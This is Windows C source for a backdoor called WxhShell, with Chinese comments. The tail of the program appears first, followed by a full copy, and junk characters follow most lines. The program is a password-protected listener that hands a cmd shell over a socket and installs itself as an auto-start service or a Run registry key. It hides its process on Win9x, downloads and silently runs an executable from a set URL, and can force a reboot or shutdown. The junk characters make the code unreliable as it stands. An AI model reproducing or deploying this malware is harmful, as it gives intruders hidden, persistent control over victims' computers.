    else { 9$ GA s  
    closesocket(wsh); 2@7f^be  
    ExitThread(0); O7<--  
    } vG E;PwR  
    break; r 0m A  
    } m~7[fgN2  
  // 获取shell yFt$L'#  
  case 's': { )?_x$GKY  
    CmdShell(wsh); `D *U@iJ  
    closesocket(wsh); _8zZ.~)  
    ExitThread(0); 2;8I0BH*'  
    break; [l~Gwaul>  
  } ;MSdTHN"  
  // 退出 7 2Zp%a=  
  case 'x': { VtM:~|v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )|52B;yZx  
    CloseIt(wsh); 87&BF)]  
    break; Y dgDMd-1  
    } NT(gXEZ  
  // 离开 S  ^5EG;[  
  case 'q': { Ug}dw a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Sr$&]R]^  
    closesocket(wsh); -@*[   
    WSACleanup(); j%w}hGW%,  
    exit(1); 6?B'3~ r  
    break; K;uOtbdOK  
        } |[6jf!F  
  } M:[rH  
  } }uZtAH|  
[K5#4k  
  // 提示信息 `vbd7i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MxXf.iX&  
} +V2\hq[{  
  } %P3|#0yg0  
#.Q3}[M  
  return; 9^yf'9S1  
} a"ct"g=  
/-C`*P=:u  
// shell模块句柄 rN$U%\.I  
int CmdShell(SOCKET sock) W#|30RU.G  
{ .( )rb y  
STARTUPINFO si; " pZvV0'  
ZeroMemory(&si,sizeof(si)); dSdP]50M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L>trLD1pt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l g0 'qH8  
PROCESS_INFORMATION ProcessInfo;  F,hiKq*  
char cmdline[]="cmd"; v8{ jEAK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); , ZisJksk  
  return 0; #\P\(+0K  
} blVt:XS{,m  
&XvSAw+D@  
// 自身启动模式 @%FLT6MY  
int StartFromService(void) aLo^f= S  
{ OV~]-5gau  
typedef struct ^ <$$h  
{ s (2/]f$  
  DWORD ExitStatus; vHydqFi9  
  DWORD PebBaseAddress; 6H ]rO3[8  
  DWORD AffinityMask; {zck Y  
  DWORD BasePriority; (u_?#PjX  
  ULONG UniqueProcessId; XJ$mRh0`K  
  ULONG InheritedFromUniqueProcessId; m2{DLw".  
}   PROCESS_BASIC_INFORMATION; ,ORwMZtw{H  
J2_~iC&;s  
PROCNTQSIP NtQueryInformationProcess; . X:  
]J '#KT{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %pJRu-D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q.}M^iDe  
r 9~Wh $  
  HANDLE             hProcess; o[A y2"e?  
  PROCESS_BASIC_INFORMATION pbi; {M_*hR;lL  
s^&Oh*SP*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #7*{ $v  
  if(NULL == hInst ) return 0; $.5f-vQp  
c4Leh"ry  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :cE6-Fv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6x.ZS'y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e=H,|)P  
8h?):e  
  if (!NtQueryInformationProcess) return 0; ~dtS  
HL`=zB%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t| cL!  
  if(!hProcess) return 0; 7]8nW!h;  
q,Nhfo(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |T; ]%<O3E  
gs:V4$(p4  
  CloseHandle(hProcess); =xs"<Q*w>  
RE<s$B$[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :>q*#vlb  
if(hProcess==NULL) return 0; S|K#lL  
2{Johqf  
HMODULE hMod; *x<3=9V  
char procName[255]; ?cB:1?\j  
unsigned long cbNeeded; <i$ud&D  
 ob_*fP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1;E^3j$  
c e\|eN[  
  CloseHandle(hProcess); L ,/(^0;  
[6u8EP0xM  
if(strstr(procName,"services")) return 1; // 以服务启动 'JpCS  
E9bc pup  
  return 0; // 注册表启动 e[($rsx  
} *NjjFk=R  
CG0jZB#u  
// 主模块 r7zS4;b  
int StartWxhshell(LPSTR lpCmdLine) \UEO$~Km  
{ \i.Yhl:O  
  SOCKET wsl; tb1w 6jaU  
BOOL val=TRUE; V4CL% i  
  int port=0; JVe!(L4H  
  struct sockaddr_in door; bd;?oYV~  
FhFP M)[  
  if(wscfg.ws_autoins) Install(); L60Sc  
,7/F?!G!J  
port=atoi(lpCmdLine); s#* DY  
%+bw2;a6  
if(port<=0) port=wscfg.ws_port; ytyX:e"  
P$H9  
  WSADATA data; .l:x!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 45(n!"u65  
+?%L X4Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [h0.k"&[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pw|J([  
  door.sin_family = AF_INET; 9`FPV`/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5faY{;8  
  door.sin_port = htons(port); v*lj>)L  
Z1Pdnc7S[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *p.70,5,  
closesocket(wsl); JW2~ G!@  
return 1; ]w5j?h"b  
} 17ol %3 M  
HxnWM\p  
  if(listen(wsl,2) == INVALID_SOCKET) { YcdT/  
closesocket(wsl); }1BpIqee  
return 1; 2PDU(R  
} ~a06x^=j  
  Wxhshell(wsl); YsA.,   
  WSACleanup(); G9AQIU%ii  
M@a=|N~  
return 0; -oMp@2\e  
Ch0t'  
} gCP f1z  
ZQN%!2  
// 以NT服务方式启动 N#&/d nV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zy\R>4i'#Q  
{ 7f_tH_(  
DWORD   status = 0; m IYM+2p  
  DWORD   specificError = 0xfffffff; (&@,ZI;  
=;m;r!,K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; di|5|bn7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z~6PrM-M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O!ngQrI  
  serviceStatus.dwWin32ExitCode     = 0; 48g`i  
  serviceStatus.dwServiceSpecificExitCode = 0; "8*5!anu-  
  serviceStatus.dwCheckPoint       = 0; j= vlsW  
  serviceStatus.dwWaitHint       = 0; (!:+q$#BK  
~fz9AhU8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uD8,E!\  
  if (hServiceStatusHandle==0) return; %$ ^ eY'-'  
}pOJM &I  
status = GetLastError(); qu+Zl1~$]  
  if (status!=NO_ERROR) LQDU8[-  
{ A[8vD</}_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i}e4P>ADD  
    serviceStatus.dwCheckPoint       = 0; sA:k8aj  
    serviceStatus.dwWaitHint       = 0; nS9 kwaO  
    serviceStatus.dwWin32ExitCode     = status; BWev(SF{Ny  
    serviceStatus.dwServiceSpecificExitCode = specificError; W_FN*Er  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !K8V":1du#  
    return; K0-AP $  
  } a[hQ<@1O  
i"OY=iw-N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LG:Mksd8=4  
  serviceStatus.dwCheckPoint       = 0; CZ|h` ";P2  
  serviceStatus.dwWaitHint       = 0; bU{lV<R,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `S:LuU8e  
} a<Ksas'5S  
=2R0 g2n  
// 处理NT服务事件,比如:启动、停止 ",>,t_J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jlb=]hp8%  
{ 2|:x_rcj  
switch(fdwControl) K['Gp>l  
{ nmy!.0SQ-  
case SERVICE_CONTROL_STOP: dA[S@ysvG  
  serviceStatus.dwWin32ExitCode = 0; ~(Xzm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V:>ZSW4,^  
  serviceStatus.dwCheckPoint   = 0; ?D9>N'yH8  
  serviceStatus.dwWaitHint     = 0; i$"M'BG  
  { WP ~]pduT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WX}pBmU  
  } vf/|b6'y  
  return; r~Vb*~U"  
case SERVICE_CONTROL_PAUSE: b X'.hHR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "[Hn G(gA  
  break; x2.YEuSMC  
case SERVICE_CONTROL_CONTINUE: Ns5'K^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S E0&CV4  
  break; ]h 4r@L3  
case SERVICE_CONTROL_INTERROGATE: =b/:rSd$NA  
  break; y25L`b  
}; ^7-l<R[T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @*"H{xo.U  
} "Wn8}T*  
)I(2t 6i  
// 标准应用程序主函数 &p83X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w[hT,$n  
{ D?`|`Mu  
!6pE0(V^+4  
// 获取操作系统版本 L`n Ma   
OsIsNt=GetOsVer(); W_Eur,/`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k:* (..!0z  
iVAAGZ>am  
  // 从命令行安装 G Q])y  
  if(strpbrk(lpCmdLine,"iI")) Install(); @78%6KZ`i  
lm\~_ 4l1  
  // 下载执行文件 ?A2jj`N1x  
if(wscfg.ws_downexe) { hVf;{p &  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P`]p&:  
  WinExec(wscfg.ws_filenam,SW_HIDE); <)9dTOdd  
} 3Ued>8Gv  
YAJr@v+Ls  
if(!OsIsNt) { >8=rD  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,); -v4$  
HideProc(); _n=,H  
StartWxhshell(lpCmdLine); -E,p[Sp  
} Jt|W%`X>D  
else l#^weXSlk  
  if(StartFromService()) &8M^E/#.^;  
  // 以服务方式启动 ZJ'Tb<fP  
  StartServiceCtrlDispatcher(DispatchTable); ql2O%B.6?  
else *Fu;sR2y%:  
  // 普通方式启动 la{Iqm{i  
  StartWxhshell(lpCmdLine); 29kR7[k  
w3Z;&sFd  
return 0; m$WN"kV`,9  
} %mr6p}E|  
84jA)  
SU>cJ*  
_8ubo\M~  
=========================================== oa2v/P1`  
Pt[ b;}  
C{2y*sx  
hB??~>i3  
C)R#Om  
P?$Iht.^  
" 6:3F,!J!  
;'P<#hM[$  
#include <stdio.h> Z[G:  
#include <string.h> (M nK \^Y  
#include <windows.h> >NjgLJh  
#include <winsock2.h> 3w$Ib}7   
#include <winsvc.h> xXfFi5Eom  
#include <urlmon.h> _(0GAz%9  
vuO~^N]G  
#pragma comment (lib, "Ws2_32.lib") WeE1 \  
#pragma comment (lib, "urlmon.lib") 141XnAb)I  
>@uFye$  
#define MAX_USER   100 // 最大客户端连接数 87q~ nk  
#define BUF_SOCK   200 // sock buffer FC }r~syqA  
#define KEY_BUFF   255 // 输入 buffer kJK:1;CM?.  
ZDTp/5=?K/  
#define REBOOT     0   // 重启 ]B=2r^fn  
#define SHUTDOWN   1   // 关机 `~+[pY 1r  
]5sU =\  
#define DEF_PORT   5000 // 监听端口 ]o2 Z 14  
W $EAo+V  
#define REG_LEN     16   // 注册表键长度 yR4++yk  
#define SVC_LEN     80   // NT服务名长度 _ a -At  
6'6,ySo]  
// 从dll定义API t# <(Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .qg 2zE$0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?i5=sK\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h[}e5A]}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8s)(e9Sr  
z%44@TP  
// wxhshell配置信息 Dio9'&DtC  
struct WSCFG { X}G3>HcP  
  int ws_port;         // 监听端口 ,<O|Iis  
  char ws_passstr[REG_LEN]; // 口令 |7@@~|A  
  int ws_autoins;       // 安装标记, 1=yes 0=no *D:uFo,xn  
  char ws_regname[REG_LEN]; // 注册表键名 *@zya9y9q  
  char ws_svcname[REG_LEN]; // 服务名 X-}]?OOs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @D7/u88|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :<i<\TH'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }-2U,Xg[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [s&0O<Wv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k btQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >@?`n}r|  
B'!I{LC  
}; gib'f@i;  
S/)yi  
// default Wxhshell configuration /{ FSG!  
struct WSCFG wscfg={DEF_PORT, 35Cm>X  
    "xuhuanlingzhe", Be~In~~  
    1, JHCXUT-r{  
    "Wxhshell", dz=pL$C  
    "Wxhshell", meArS*d  
            "WxhShell Service", ;Wedj\Kkp  
    "Wrsky Windows CmdShell Service", erdA ?  
    "Please Input Your Password: ", #v}pn2g%>  
  1, +5qY*$dn  
  "http://www.wrsky.com/wxhshell.exe", ,B,:$G<  
  "Wxhshell.exe" vG#,J&aW  
    }; v#b(0G  
-Gd@baV  
// 消息定义模块 E4qQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b3l~wp6>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8;5@5Au  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `C>De4nT@  
char *msg_ws_ext="\n\rExit."; ]y~"M  
char *msg_ws_end="\n\rQuit."; H.#zbKj  
char *msg_ws_boot="\n\rReboot..."; !A'3Mw\Nm  
char *msg_ws_poff="\n\rShutdown..."; ;kR+jC(  
char *msg_ws_down="\n\rSave to "; pz,iQUs _o  
?C*}NM  
char *msg_ws_err="\n\rErr!";  wjfc9z  
char *msg_ws_ok="\n\rOK!"; VX]Ud\(  
-E>LB\[t)  
char ExeFile[MAX_PATH]; `tH :oP0=  
int nUser = 0; `=19iAp.  
HANDLE handles[MAX_USER]; /f]'_t0\.  
int OsIsNt; 'QQa :3<x  
gaU1A"S}  
SERVICE_STATUS       serviceStatus; }-T :   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CC|=$(PgT  
IZOO>-g'f  
// 函数声明 *:8,w?Nt  
int Install(void);  LXf *  
int Uninstall(void); ~w"e 2a  
int DownloadFile(char *sURL, SOCKET wsh); +r$M 9  
int Boot(int flag); 2*TPW  
void HideProc(void); nZ8jBCh  
int GetOsVer(void); ]7J*(,sp  
int Wxhshell(SOCKET wsl); /A1qTG=Br  
void TalkWithClient(void *cs); cd]def[d  
int CmdShell(SOCKET sock); Fr)6<9%xVm  
int StartFromService(void); ^|ul3_'?  
int StartWxhshell(LPSTR lpCmdLine); W #V`|JA  
CM4#Nn=i~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); - sL4tMP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !;M5.Y1j&"  
wH]Y1 m  
// 数据结构和表定义 6@-O#,]J  
SERVICE_TABLE_ENTRY DispatchTable[] = ~vB dq Yj  
{ v{oHC4  
{wscfg.ws_svcname, NTServiceMain}, r;SOAucX  
{NULL, NULL} L^e%oQ>s  
}; ?$~5ti#\  
Q&8epO|J  
// 自我安装 ,Y`TP4Ip  
int Install(void) w 3$9  
{ J8?V1Ad{  
  char svExeFile[MAX_PATH]; jq( QL%)_O  
  HKEY key; wPl9%  
  strcpy(svExeFile,ExeFile); Tno 0Q +  
*nlDN4Y[  
// 如果是win9x系统,修改注册表设为自启动 Yge}P:d9  
if(!OsIsNt) { 8B7~Nq'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XU6SYC"t%~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y;#H0v>E  
  RegCloseKey(key); wPxtQv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y)mtSA8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9F2MCqvcm  
  RegCloseKey(key); 1-}M5]Y  
  return 0; T~)R,OA7m  
    } `@^s}rt+  
  } k FCdGl  
} Y} crE/  
else { \ k &ZA  
e,Sxu[2  
// 如果是NT以上系统,安装为系统服务 l^R1XBP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8XD_p);Oy  
if (schSCManager!=0) |6 E !wW  
{ N7-LgP  
  SC_HANDLE schService = CreateService S#N4!"  
  ( PZk"!I<oN  
  schSCManager, ^ wb9n  
  wscfg.ws_svcname, BQL](Y "  
  wscfg.ws_svcdisp, \T {<{<n  
  SERVICE_ALL_ACCESS, ca,U>'(y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S3gd'Bahq  
  SERVICE_AUTO_START, _bSn YhS  
  SERVICE_ERROR_NORMAL, nHl{'|~  
  svExeFile, |[X-i["y  
  NULL, ^b6yN\,S  
  NULL, *}=z^;_oq  
  NULL, >j)y7DSE  
  NULL, 3Uy(d,N  
  NULL z?  Ck9  
  ); 7',WLuD  
  if (schService!=0) . H9a  
  { FQM9>l@6)>  
  CloseServiceHandle(schService); jf=\\*64r4  
  CloseServiceHandle(schSCManager); E(Zm6~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zXML<?w  
  strcat(svExeFile,wscfg.ws_svcname); {ZKXT8'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `u$lSGl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tC\(H=ecP  
  RegCloseKey(key); !YIW8SP)  
  return 0; H0-v^H>^  
    } $fG~;`T  
  } 4nKlW_{,  
  CloseServiceHandle(schSCManager); o "1X8v  
} WT jy"p*  
} NE+ ;<mW  
z4 KKt&  
return 1; rkn'1M&u  
} N `[ ?db-%  
k:#u%Z   
// 自我卸载 .~fov8  
int Uninstall(void) t4<+]]   
{ Z4369  
  HKEY key; 2X6L'!=  
4D sHUc6  
if(!OsIsNt) { LN`Y`G|op  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { USzO):o  
  RegDeleteValue(key,wscfg.ws_regname); oW3|b2D  
  RegCloseKey(key); m-lTXA(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <v3pI!)x  
  RegDeleteValue(key,wscfg.ws_regname); =H8Y  
  RegCloseKey(key); zo:NE0 0  
  return 0; o<Qt<*  
  } J*t_r-z  
} >*WT[UU  
} Z+2 j(  
else { 1!Afq}|  
qe|U*K 2_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @0-vf>e3-  
if (schSCManager!=0) F"0=r  
{ ]MnQ3bWq"j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =)nJ'}x  
  if (schService!=0) .qs5xGg#9  
  { $^`@lyr  
  if(DeleteService(schService)!=0) { f"t+r /d  
  CloseServiceHandle(schService); i0rh {Ko  
  CloseServiceHandle(schSCManager); 5=/j  
  return 0; ))4RgS$  
  } </D )i  
  CloseServiceHandle(schService); 6UM1>xq9A  
  } /i(R~7;?  
  CloseServiceHandle(schSCManager); ##nC@h@  
} yaYJmhG  
} f0 kz:sZ9  
$ EexNz  
return 1; C/MQY:X4  
} J=b 'b%  
7yUX]95y8  
// 从指定url下载文件 .+&M,% x  
int DownloadFile(char *sURL, SOCKET wsh) yaPx=^&  
{ vrIWw?/z?  
  HRESULT hr; ;Q0H7)t:  
char seps[]= "/"; |z?c>.  
char *token; fT{%zJU  
char *file; z/wwe\ a5  
char myURL[MAX_PATH]; 3L9@ELY4  
char myFILE[MAX_PATH]; /6:qmh2  
:D~J(Y2  
strcpy(myURL,sURL); e'r-o~1eN  
  token=strtok(myURL,seps); !vq|*8  
  while(token!=NULL) '<xV]k|v  
  { %H4>k#b@$  
    file=token; R p0^Gwa  
  token=strtok(NULL,seps); C(kL=WD   
  } cVl i^*se  
GOD{?#c$  
GetCurrentDirectory(MAX_PATH,myFILE); [F 24xC+  
strcat(myFILE, "\\"); g0#w 4rGF)  
strcat(myFILE, file); i?f;C_w  
  send(wsh,myFILE,strlen(myFILE),0); MH|R@g  
send(wsh,"...",3,0); * 'Bu-1{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i&j]FX6q  
  if(hr==S_OK) q^h/64F  
return 0; lYS*{i1^ '  
else sQn@:Gk  
return 1; =3dd1n;8>  
wH+| & C  
} 7m8(8$-6  
eV j7%9  
// 系统电源模块 6eb~Z6n&?  
int Boot(int flag) f dJ<(i]7W  
{ /rHlFl|Wy  
  HANDLE hToken; F<DXPToX%  
  TOKEN_PRIVILEGES tkp; O]KQ]zN  
EAlLxXDDh  
  if(OsIsNt) { XrI$@e*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~~q>]4>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d6)+d9?<  
    tkp.PrivilegeCount = 1; WZ=$c]gG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ._q<~_~R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0cq<!{d  
if(flag==REBOOT) { &r2\P6J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 73JrK_h  
  return 0; b4 Pa5 w  
} #3?}MC  
else { biENRJQ.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =yWdtBng  
  return 0; +G)a+r'0Q  
} ^Hz1z_[X@  
  } Q 3/J @MC  
  else { Y|buQQ|  
if(flag==REBOOT) { A=wG};%_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +[}<u--  
  return 0; k; >Vh'=X  
} D 4sp+   
else { <6+T&Ov6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7"1]5\p^g  
  return 0; $g),|[ x+(  
} `pF7B6[B  
} &Bqu2^^  
i&{%} ==7  
return 1; ;9LOeH?  
} l#Vg=zrT  
z0Z1J8Qq6.  
// win9x进程隐藏模块 @2;cv?i)  
void HideProc(void) i8S=uJ]n  
{ t%StBq(q  
qfjUJ/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $W%-Mm  
  if ( hKernel != NULL ) W}#n.c4+  
  { ;=WwJ Np~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '4CD }  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KDb`g}1Q  
    FreeLibrary(hKernel); 0 {  
  } 3-'3w,  
Jhfw$DF  
return; E6z&pM8<8  
} =.w~qL  
$hMD6<e  
// 获取操作系统版本 Cj$:TWYIh[  
int GetOsVer(void) dsH*9t:z  
{ <W+9 h0c  
  OSVERSIONINFO winfo; AH_qZTv0{Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wb[k2V  
  GetVersionEx(&winfo); ("{"8   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wB&5q!{!  
  return 1; Q>71uM%e`  
  else BGHZL~  
  return 0; BWNI|pq)v  
} SM8_C!h:  
>GLoeCRNu  
// 客户端句柄模块 cICf V,j  
int Wxhshell(SOCKET wsl) <@Vf:`a!P>  
{ `F3wO!  
  SOCKET wsh; E^$8nqCL:  
  struct sockaddr_in client; =- ,'LOE  
  DWORD myID; =T\=,B  
}kP<zvAaw  
  while(nUser<MAX_USER) (][-()YV  
{ x=+>J$~Pb  
  int nSize=sizeof(client); xP/q[7>#Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tG ZMIG_  
  if(wsh==INVALID_SOCKET) return 1; v\_\bT1  
Sp*4Z`^je  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e\O-5hp7  
if(handles[nUser]==0) *+nw%gZG  
  closesocket(wsh); g> ~+M  
else )@P*F) g~  
  nUser++; C|h Uyo  
  } w*&vH/D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k1ja ([Q  
FBbaLqgVF{  
  return 0; ~Z!YB,)bp  
} n$v4$_qS  
WA0D#yuJ/  
// 关闭 socket pWq+`|l$  
void CloseIt(SOCKET wsh) Gp+\}<^ Z  
{ '.M4yif \g  
closesocket(wsh); 43]y]/do  
nUser--; v5@M 34  
ExitThread(0); s;Gg  
} )(_NFpM  
<XQwu*_\  
// 客户端请求句柄 (m6V)y  
void TalkWithClient(void *cs) [cco/=c  
{ lcy<taNu)  
j9l32<h7]  
  SOCKET wsh=(SOCKET)cs; '#h ORQB  
  char pwd[SVC_LEN]; 5-y*]:g(  
  char cmd[KEY_BUFF]; ,II3b( l  
char chr[1]; LrT EF j  
int i,j; \P")Eh =d  
V)l:fUm2  
  while (nUser < MAX_USER) { [`s0 L#  
j--byk6PB  
if(wscfg.ws_passstr) { 6B|i-b $~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :`Ut.E~.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _>rM[\|X  
  //ZeroMemory(pwd,KEY_BUFF); j/fniyJ)  
      i=0; %ek0NBE7  
  while(i<SVC_LEN) { nO!&;E&  
RV);^, b  
  // 设置超时 p$qk\efv*4  
  fd_set FdRead; H%gAgXHn  
  struct timeval TimeOut; UoKVl-  
  FD_ZERO(&FdRead); tfZ@4%'  
  FD_SET(wsh,&FdRead); qw?(^uZNW  
  TimeOut.tv_sec=8; =J)<Nx.gA  
  TimeOut.tv_usec=0; wDGb h=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3ce$eZE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =QGmJ3  
x^EW'-a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 74MxU  
  pwd=chr[0]; Mgi~j.[  
  if(chr[0]==0xd || chr[0]==0xa) { p)ig~kk`  
  pwd=0; 3T0~k--  
  break; lWtfcU?S[  
  } ;{L[1OP%e  
  i++; `:*2TLxIk  
    } 4(LLRzzW  
h`dQ OH#  
  // 如果是非法用户,关闭 socket  BgQ/$,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J?yasjjgP  
} M<d!j I9)  
0<a|=kZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2l+L96  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d}':7Np  
MP)Prl>  
while(1) { kfZ`|w@q  
pGjwI3_K  
  ZeroMemory(cmd,KEY_BUFF); NsP=l]  
"a(4])  
      // 自动支持客户端 telnet标准   Z,e|L4&  
  j=0; R54ae:8  
  while(j<KEY_BUFF) { I;%1xdPt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \X _}\_c,d  
  cmd[j]=chr[0]; _uLpU4# ?  
  if(chr[0]==0xa || chr[0]==0xd) { BDvkY  
  cmd[j]=0; PA ?2K4  
  break; <%Nf"p{K  
  } t(6]j#5   
  j++; }DS%?6}Sy  
    } GIH{tr1:<  
wT\BA'VQ  
  // 下载文件 't&1y6Uu  
  if(strstr(cmd,"http://")) { \t&! &R#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TB* t^ E  
  if(DownloadFile(cmd,wsh)) G}g;<,g~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6XF Ufi+  
  else }P0bNY5?%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eu'E;*- f  
  } eyJWFJh  
  else { kY\faWuR  
Nh}-6|M  
    switch(cmd[0]) { ))f@9m  
  g:ky;-G8b  
  // 帮助 -Pp{aF e  
  case '?': { pxgf%P<7  
